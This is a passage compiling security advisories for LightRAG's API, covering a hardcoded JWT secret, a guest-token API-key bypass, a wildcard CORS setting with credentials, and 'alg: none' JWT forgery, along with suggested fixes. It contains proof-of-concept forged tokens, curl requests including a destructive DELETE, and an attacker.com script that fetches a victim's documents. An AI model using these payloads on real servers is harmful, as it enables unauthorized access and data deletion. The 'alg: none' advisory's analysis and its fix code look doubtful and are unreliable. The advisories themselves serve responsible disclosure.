payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

1. Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
2. Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
3. Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
4. Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

1. lightrag/api/config.py:54 ships a hardcoded default JWT secret:

   DEFAULT_TOKEN_SECRET="lightr...key!"
   

2. lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
3. lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
4. lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:

   if not auth_configured and token_info.get("role") == "guest":
       return
   

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

• LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
• AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

• Read and delete arbitrary documents (/documents, DELETE /documents)
• Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
• Clear LLM / embedding caches (/documents/clear_cache)
• Inspect and mutate the knowledge graph (/graph/*)
• Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

1. Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
2. Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
3. Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

• main through commit 157c331 (2026-04-15)
• Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

• GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
• GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
• Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])